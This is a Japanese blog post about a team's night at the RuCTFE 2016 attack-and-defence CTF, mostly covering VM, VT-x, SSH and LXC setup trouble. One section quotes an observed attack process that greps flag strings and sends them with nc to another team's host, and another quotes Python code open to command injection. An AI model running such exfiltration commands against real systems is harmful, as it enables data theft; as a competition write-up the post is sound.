jtwp470’s blog

日記とかプヨグヤミングとか

RuCTFE 2016に参加して主に環境構築に時間を溶かした話

こんにちは,卒業論文のための研究に追われて死にそうになっているたんごです. 日本時間で11/12 19:00 - 11/13 4:00までオンラインで行われていたRuCTFE 2016に参加していました.

ructfe.org

個人的にはこのCTFを楽しみにしていました.というのもオンラインでAttack & Defenceという珍しい形式のCTFで今まで1度もこの形式のCTFには参加したことがなかったのでわくわくしていました. また,A & Dは自分たちがフラグを取ったり取られたりとまさに強者のみが生き残れる殺伐とした世界を体験できる容赦のない大会です.

f:id:jtwp470:20161113180514p:plain http://www.slideshare.net/abend_cve_9999_0001/ructfe (言い得て妙なスライドw)

前日まで

どうやってA & Dをやるんだと言う気持ちでしたが,各競技者がVMを建ててゲーム内ネットワークにはVPNで接続するというような形式でした.

RuCTFE2016 ネットワーク構成図

そこで自分達でどこかにサーバーを借りてVirtualBoxをインストールし,VMを構築しなければなりませんでした. 我々のチームは結局さくらのクラウド上にデカイインスタンス(CPU 8 core, MEM: 16GB)を立ち上げそこに構築することにしました. 基本的には書いてある通りに進めれば大丈夫でしたが一応メモのために以下に構成を残しておきます.

  • router

    • eth0: ホストマシンとNAT (10.0.2.15みたいな形式のIPアドレスが振られ外と通信ができる)
    • eth1: ホストオンリーアダプタ (vboxnet0) に接続
  • testimage

    • eth0: ホストオンリーアダプタ (vboxnet0) に接続

上のネットワーク構成図のようにもしチーム1の場合, チーム内セグメントは10.60.1.0/24に割り当てられます. VirtualBoxの設定でvboxnet0の設定をいじることで 10.60.1.0/24 にアクセスできるようになれます.ホストマシンは 10.60.1.100 に割り当てました.

あとはSSHの公開鍵をrouterとtest imageに追加しておけばホストマシンからSSH接続できるようになります.

当日

始まる1時間位前にVuln Imageというものが鍵がかかった状態で公開されました.これをダウンロードしておき,鍵が公開されるまで待ちます.

19:00 -

始まりました.鍵が公開され展開しVirtualBoxにインポートしようというところで問題が発生しました.というのはさくらのクラウドデフォルトではSSD 20GBなのですがVuln Imageがでかすぎて容量が足りません.しょうがないので一度シャットダウンしてディスクをマウントし頑張って増やします. ここにもたつき20:00すぎくらいになってやっとVirtualBoxにインポートできるようになりました.

さて上の作業はチームメンバーがやってくれていたので私はIRCを見ながらどうやらVuln Imageにはパスワードがかかっていて外さないといけないという情報を得たのでMacに一度デプロイし,パスワードを外す作業をしていました. マトモな情報がほとんどなく結局日本語のブログから一番良い情報を得ました.

d.hatena.ne.jp

rootパスワードを紛失したらこうすればいいんですね.

20:00

さてVuln Imageをインポートしようとしたところ, VT-xがないから動かせんゾと怒られます.そういやそうでした.さくらのクラウドではVT-xがないのは知っていましたが石狩第2ならSandyあたりのXeonが入っているからサポートされてるやろと思っていましたがありませんorz.

misumirize.hatenablog.com

↑にあるようにクラウド関連ではDigitalOceanにしかないらしいです.

ここまでRouter, Test ImageともにVT-xがなくても動いていたので失念していました.

qiita.com

を参考にVT-xを使う設定を止めてみました.

$ VBoxManage modifyvm RuCTFE2016_Image --hwvirtex off
$ VBoxManage modifyvm RuCTFE2016_Image --vtxvpid off

これで起動はできるようになりましたがVirtualBoxがうんともすんとも言わなくなりました^^;

追記

先程のQiitaの記事に書いてありましたが64ビット版のLinux VMを動かすためにはVT-x とかみたいなCPUの仮想化支援機構が必要みたいでした.動かずフリーズする理由がわかった

21:00

VirtualBoxをやめVMWareだと起動できるかもしれないという怪しい情報を得たのでVMWare Workstation Proをインストールしてみました. ここまでは大丈夫でしたが,Vuln ImageをVMWareにインポートできず. いろいろいじり1時間格闘しましたが結局何もできず, 時間だけ過ぎていくという...

22:00

金がないのでDigital Oceanを避けていましたがGitHub Student Packに$100のクーポンがあることを思い出し,使ってみることにしました.フランクフルトのサーバーにデプロイし, CPU 4: MEM 8 GBですごいロシアに対してのpingが早いw 初めてDigital Ocean使いましたがインスタンスの作成が以上に早い. 1分以内にすぐさま使えるようになるのはいいですね. しっかりVT-xが建っているのを確認したのでVirtualBoxをインストールしてVuln Imageをデプロイしてみることに.

ここまでは順調wでしたがなぜかVirtualBoxが起動せず. 20%で止まり続け30分経過してしまい,為す術がなくなりました.

1:00

結局1時過ぎに自宅のPCにVirtualBoxを入れ,そこから使えるようにしました.自宅のサーバーにこれ専用のアカウントを作り,チームメンバーからSSHを受け入れ,それを踏み台にすることで各サーバーにいけるようにしました.この段階でもう1:30くらいになっており,終了時間まで2時間半くらいしかないw f:id:jtwp470:20161113193949p:plain

デプロイしたらこんな感じのWebサイトが.これら1つずつが各サービスに対応していてそれらに脆弱性が仕組まれているみたいですね.サービスが立ち上がったので初めてランクインしました.

f:id:jtwp470:20161113194152p:plain

ちなみにSSHのコンフィグはこんな感じ.

Host    g0tiu5a
        User    g0tiu5a
        HostName        <自宅サーバーの外部IP>
        Port            20022
        IdentityFile ~/.ssh/id_rsa_g0tiu5a

Host router
        User    root
        HostName        router.ructfe.lo.jtwp470.net  # ルーター 宅内LANのDNS張った
        ProxyCommand    ssh g0tiu5a -W %h:%p

Host vulnimage
        User    root
        HostName        10.60.76.2
        ProxyCommand    ssh router -W %h:%p

まず g0tiu5aに入り, ルーターを経由して vuln imageに入るというような構成です.

2:00

さてps auxとかでプロセスを観察しているとどうやらLXCコンテナ上にいろんなサービスが動いているようです. 更に早速謎の攻撃コードが送られてきてました.

user      5780  0.0  0.0   4336   100 ?        S    21:44   0:00 sh -c `grep -Ehro "\w{31}=" /home/weather/ | nc 10.60.121.11 8080`; exit ; UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU%4112c?c^??rx??sx? 2$x
user      5782  0.0  0.0   6328  1596 ?        S    21:44   0:00 nc 10.60.121.11 8080

謎い.何かBOFでもできるのかというようなかんじですね. よくわかりませんがこの攻撃が気に食わないのでuserを監視して必要そうなプロセス以外全部1秒毎に殺すスクリプトを書いて放置しましたが有効だったのかは謎です.

また, チーム内でLXCを使ったことのある人がいないため,LXCのコンテナ内にどうやってアクセスするのかとかその辺から始まりました. わかったことは以下のことです.

$ lxc-ls     # lxcコンテナ一覧が出る
$ lxc-info <container name>  # コンテナ情報を出す
$ lxc-attach -n <container name>  # コンテナに接続する

しかし,コンテナ, vuln imageともにエディタやlessなどの最低限なコマンドが入っていないためすごいツライことに. またどうやってファイルを抜き出せばいいのかわからずツライ状況になります.

2:30

Nginxが死んだのか突然すべてのサービスにアクセスできなくなりました.しかしチームメンバーが確認するとNginxは動いている模様.

root@team76:/# ps aux | grep nginx
root      3877  0.0  0.0  46776  1008 ?        Ss   22:24   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
nobody    3878  0.0  0.0  47180  2648 ?        S    22:24   0:00 nginx: worker process
nobody    3881  0.0  0.0  47180  2640 ?        S    22:24   0:00 nginx: worker process
nobody    3882  0.0  0.0  47180  2652 ?        S    22:24   0:00 nginx: worker process
nobody    3883  0.0  0.0  47180  2652 ?        S    22:24   0:00 nginx: worker process
root      9346  0.0  0.1  42940  6152 pts/8    S+   22:45   0:00 nginx -t
root      9524  0.0  0.0  12716   892 pts/6    S+   22:46   0:00 grep nginx

ルーターからもアクセス出来ないのでnginxのstatusを見るとどうやら各コンテナのIPを引けなくなったみたいです.(前のリブートに起因?)

root@team76:~# service nginx  status
● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled)
   Active: failed (Result: exit-code) since Sat 2016-11-12 22:43:27 +05; 24min ago
     Docs: man:nginx(8)
  Process: 8579 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=1/FAILURE)

Nov 12 22:42:31 team76.ructfe.org systemd[1]: Starting A high performance web server and a reverse proxy server...
Nov 12 22:43:27 team76.ructfe.org nginx[8579]: nginx: [emerg] host not found in upstream "atlablog.lxc" in /etc/nginx/web/atlablog.conf:11
Nov 12 22:43:27 team76.ructfe.org nginx[8579]: nginx: configuration file /etc/nginx/nginx.conf test failed
Nov 12 22:43:27 team76.ructfe.org systemd[1]: nginx.service: control process exited, code=exited status=1
Nov 12 22:43:27 team76.ructfe.org systemd[1]: Failed to start A high performance web server and a reverse proxy server.
Nov 12 22:43:27 team76.ructfe.org systemd[1]: Unit nginx.service entered failed state.

Nginxのconfを読むと http://atlablog.lxcみたいなところの所定ポートにNginxでリバースプロキシしていて atlablog.lxc への ping が返ってきません. 多分自動でいい感じに返ってくるはずなのでしょうがわからないので lxc-info atlablogとかでIPアドレスを調べて/etc/hostsに追加していく仕事をしてNginxを復活させることに3:30頃成功し再度復活しました.

こういう仕事をしながら特に攻撃もできず防衛もまともにできず(この段階でもソースコードを引っ張り出せていない)のですが始めた頃は160位くらいだったのですが気付いたら128位まで上がっています.

f:id:jtwp470:20161114004735p:plain

3:40

3:40頃に正規の方法なのかは知りませんが, どうやらLXCのディスクは /var/lib/lxc/<container_name>/rootdev みたいなところにあるので 普通に mounコマンドで適当にマウントすることで読んだり書いたりできるようになりました.

ここでわかったのはweatherが32ビットのLinuxバイナリでこやつに脆弱性があるんだろうなぁ〜(小並感)ということです.

crachには怪しいソースコードを見つけました.

result = os.system('%s -m %s %s >%s 2>%s' % (TOOL_NAME, dmp_path, SYMBOLS_DIR, STACKWALK_FILENAME, STACKWALK_ERRORS_FILENAME))

OSコマンドインジェクションができそう?

ここを見つけて結局4:00になり終了.

最終結果は104位で終わりました.

f:id:jtwp470:20161114005143p:plain

知見

  • VT-xがないとツライ.
  • VirtualBoxのネットワーク周りでも無限に時間を溶かした

以上です.ちなみに死にそうになりながらTrysailのトライアングルハーモニーを聞いていたので精神だけは安定していました.みんなも聞こうな!

try.secondshot.jp